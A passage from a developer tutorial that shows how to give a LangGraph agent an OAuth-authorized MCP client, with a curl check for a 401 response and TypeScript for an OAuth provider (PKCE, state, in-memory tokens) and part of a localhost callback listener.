<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">MCP server running at http://localhost:3000/mcp</span><br></span></code></pre></div></div>
<p><code>@asgardeo/mcp-express</code> reads <code>BASE_URL</code> as soon as it loads, so always start the server with <code>--env-file=.env</code>.</p>
</li>
<li class="">
<p>Leave this terminal running. We'll call it the server terminal.</p>
</li>
<li class="">
<p>Open a second terminal in the same directory and check that the server rejects requests without a token:</p>
<div class="language-bash codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-bash codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">curl -i -X POST http://localhost:3000/mcp \</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  -H 'Content-Type: application/json' \</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  -d '{}'</span><br></span></code></pre></div></div>
<p>The response starts with:</p>
<div class="language-text codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-text codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token plain">HTTP/1.1 401 Unauthorized</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">WWW-Authenticate: Bearer resource_metadata="http://localhost:3000/.well-known/oauth-protected-resource"</span><br></span></code></pre></div></div>
<p>That <code>401</code> is what will start the sign-in when our client connects.</p>
</li>
</ol>
<h2 class="anchor anchorTargetStickyNavbar_Vzrq" id="add-the-oauth-client-code">Add the OAuth client code<a href="https://choreolabs.com/identity-and-access-management/learn/langgraph-oauth-mcp-server#add-the-oauth-client-code" class="hash-link" aria-label="Direct link to Add the OAuth client code" title="Direct link to Add the OAuth client code" translate="no">​</a></h2>
<p>The agent needs an MCP client that's already authorized. That takes three small files:</p>
<ol>
<li class=""><code>oauth-provider.ts</code> stores what the MCP SDK needs during sign-in, including the tokens.</li>
<li class=""><code>callback-server.ts</code> catches the browser when it returns from the sign-in page.</li>
<li class=""><code>mcp-connection.ts</code> uses both to return an authorized MCP client.</li>
</ol>
<p>We'll go through them briefly. The <a class="" href="https://choreolabs.com/identity-and-access-management/learn/agent-oauth-mcp-client#create-the-oauth-provider">MCP client guide</a> explains each one in detail.</p>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-oauth-provider">The OAuth provider<a href="https://choreolabs.com/identity-and-access-management/learn/langgraph-oauth-mcp-server#the-oauth-provider" class="hash-link" aria-label="Direct link to The OAuth provider" title="Direct link to The OAuth provider" translate="no">​</a></h3>
<p>The MCP SDK runs the OAuth protocol for us: discovery, PKCE, the token exchange, and attaching the token to requests. It calls back into a provider object whenever it needs to read or save something.</p>
<p>Create <code>oauth-provider.ts</code>:</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockTitle_OeMC">oauth-provider.ts</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> randomUUID </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'node:crypto'</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> open </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'open'</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">type</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  OAuthClientProvider</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  OAuthClientInformationContext</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  OAuthDiscoveryState</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'@modelcontextprotocol/client'</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">type</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">Tokens</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> NonNullable</span><span class="token operator">&lt;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  Awaited</span><span class="token operator">&lt;</span><span class="token plain">ReturnType</span><span class="token operator">&lt;</span><span class="token plain">OAuthClientProvider</span><span class="token punctuation" style="color:#5A6072">[</span><span class="token string" style="color:#15803D">'tokens'</span><span class="token punctuation" style="color:#5A6072">]</span><span class="token operator">&gt;&gt;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token operator">&gt;</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">export</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">class</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">LocalOAuthProvider</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">implements</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">OAuthClientProvider</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">readonly</span><span class="token plain"> redirectUrl </span><span class="token operator">=</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token string" style="color:#15803D">'http://127.0.0.1:3030/callback'</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">readonly</span><span class="token plain"> clientMetadata </span><span class="token operator">=</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    client_name</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'Example MCP Client'</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    redirect_uris</span><span class="token operator">:</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">[</span><span class="token keyword" style="color:#1F4FFF">this</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">redirectUrl</span><span class="token punctuation" style="color:#5A6072">]</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    application_type</span><span class="token operator">:</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'native'</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">as</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    scope</span><span class="token operator">:</span><span class="token plain"> process</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">env</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token constant" style="color:#C43300">MCP_SCOPE</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">private</span><span class="token plain"> storedTokens</span><span class="token operator">?</span><span class="token operator">:</span><span class="token plain"> Tokens</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">private</span><span class="token plain"> verifier</span><span class="token operator">?</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">string</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">private</span><span class="token plain"> discovery</span><span class="token operator">?</span><span class="token operator">:</span><span class="token plain"> OAuthDiscoveryState</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  lastState</span><span class="token operator">?</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">string</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token function" style="color:#0B1633;font-weight:600">constructor</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">private</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">readonly</span><span class="token plain"> clientId</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">string</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">private</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">readonly</span><span class="token plain"> issuer</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">string</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token function" style="color:#0B1633;font-weight:600">clientInformation</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    context</span><span class="token operator">?</span><span class="token operator">:</span><span class="token plain"> OAuthClientInformationContext</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">context </span><span class="token operator">&amp;&amp;</span><span class="token plain"> context</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">issuer </span><span class="token operator">!==</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">this</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">issuer</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">undefined</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      client_id</span><span class="token operator">:</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">this</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">clientId</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      issuer</span><span class="token operator">:</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">this</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">issuer</span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token function" style="color:#0B1633;font-weight:600">tokens</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">this</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">storedTokens</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token function" style="color:#0B1633;font-weight:600">saveTokens</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">tokens</span><span class="token operator">:</span><span class="token plain"> Tokens</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">this</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">storedTokens </span><span class="token operator">=</span><span class="token plain"> tokens</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token function" style="color:#0B1633;font-weight:600">state</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">this</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">lastState </span><span class="token operator">=</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">randomUUID</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">this</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">lastState</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token function" style="color:#0B1633;font-weight:600">saveCodeVerifier</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">value</span><span class="token operator">:</span><span class="token plain"> </span><span class="token builtin" style="color:#1F4FFF">string</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">this</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">verifier </span><span class="token operator">=</span><span class="token plain"> value</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token function" style="color:#0B1633;font-weight:600">codeVerifier</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token operator">!</span><span class="token keyword" style="color:#1F4FFF">this</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">verifier</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token keyword" style="color:#1F4FFF">throw</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">Error</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">'Missing PKCE verifier'</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">this</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">verifier</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token function" style="color:#0B1633;font-weight:600">saveDiscoveryState</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">value</span><span class="token operator">:</span><span class="token plain"> OAuthDiscoveryState</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">this</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">discovery </span><span class="token operator">=</span><span class="token plain"> value</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token function" style="color:#0B1633;font-weight:600">discoveryState</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">return</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">this</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">discovery</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token keyword" style="color:#1F4FFF">async</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">redirectToAuthorization</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">url</span><span class="token operator">:</span><span class="token plain"> </span><span class="token constant" style="color:#C43300">URL</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">if</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">url</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">protocol </span><span class="token operator">!==</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'https:'</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token keyword" style="color:#1F4FFF">throw</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">new</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">Error</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">        </span><span class="token string" style="color:#15803D">'Expected an HTTPS authorization URL'</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">      </span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token builtin" style="color:#1F4FFF">console</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">log</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token string" style="color:#15803D">'\nOpening your browser to sign in. If nothing opens, visit:\n'</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token builtin" style="color:#1F4FFF">console</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">log</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">url</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">href</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token comment" style="color:#5A6072;font-style:italic">// If no browser can be opened, the printed URL still works.</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">    </span><span class="token keyword" style="color:#1F4FFF">await</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">open</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain">url</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token plain">href</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">.</span><span class="token function" style="color:#0B1633;font-weight:600">catch</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token plain"> </span><span class="token operator">=&gt;</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token punctuation" style="color:#5A6072">}</span><span class="token punctuation" style="color:#5A6072">)</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain">  </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token punctuation" style="color:#5A6072">}</span><br></span></code></pre></div></div>
<ul>
<li class=""><code>clientMetadata</code> describes our client, including the scope it requests.</li>
<li class=""><code>clientInformation()</code> returns our client ID, but only to the issuer we expect.</li>
<li class=""><code>state()</code>, <code>saveCodeVerifier()</code>, and <code>saveDiscoveryState()</code> hold the temporary values for one authorization attempt.</li>
<li class=""><code>saveTokens()</code> and <code>tokens()</code> keep the tokens in memory, so each run starts with a fresh sign-in.</li>
<li class=""><code>redirectToAuthorization()</code> opens the authorization URL in your browser, and prints it too, in case no browser can be opened.</li>
</ul>
<h3 class="anchor anchorTargetStickyNavbar_Vzrq" id="the-callback-listener">The callback listener<a href="https://choreolabs.com/identity-and-access-management/learn/langgraph-oauth-mcp-server#the-callback-listener" class="hash-link" aria-label="Direct link to The callback listener" title="Direct link to The callback listener" translate="no">​</a></h3>
<p>After you sign in, WSO2 Identity Platform sends the browser to <code>http://127.0.0.1:3030/callback</code>. Something has to be listening there.</p>
<p>Create <code>callback-server.ts</code>:</p>
<div class="language-typescript codeBlockContainer_Ckt0 theme-code-block" style="--prism-color:#0B1633;--prism-background-color:#F4F6FA"><div class="codeBlockTitle_OeMC">callback-server.ts</div><div class="codeBlockContent_QJqH"><pre tabindex="0" class="prism-code language-typescript codeBlock_bY9V thin-scrollbar" style="color:#0B1633;background-color:#F4F6FA"><code class="codeBlockLines_e6Vv"><span class="token-line" style="color:#0B1633"><span class="token keyword" style="color:#1F4FFF">import</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">{</span><span class="token plain"> createServer</span><span class="token punctuation" style="color:#5A6072">,</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">type</span><span class="token plain"> </span><span class="token class-name" style="color:#0B1633;font-weight:600">ServerResponse</span><span class="token plain"> </span><span class="token punctuation" style="color:#5A6072">}</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">from</span><span class="token plain"> </span><span class="token string" style="color:#15803D">'node:http'</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">const</span><span class="token plain"> </span><span class="token constant" style="color:#C43300">TIMEOUT_MS</span><span class="token plain"> </span><span class="token operator">=</span><span class="token plain"> </span><span class="token number" style="color:#C43300">5</span><span class="token plain"> </span><span class="token operator">*</span><span class="token plain"> </span><span class="token number" style="color:#C43300">60</span><span class="token plain"> </span><span class="token operator">*</span><span class="token plain"> </span><span class="token number" style="color:#C43300">1000</span><span class="token punctuation" style="color:#5A6072">;</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain" style="display:inline-block"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token comment" style="color:#5A6072;font-style:italic">// Wait for the authorization server to send the browser back to our redirect URL.</span><span class="token plain"></span><br></span><span class="token-line" style="color:#0B1633"><span class="token plain"></span><span class="token keyword" style="color:#1F4FFF">export</span><span class="token plain"> </span><span class="token keyword" style="color:#1F4FFF">function</span><span class="token plain"> </span><span class="token function" style="color:#0B1633;font-weight:600">waitForCallback</span><span class="token punctuation" style="color:#5A6072">(</span><span class="token plain"></span><br></span><span 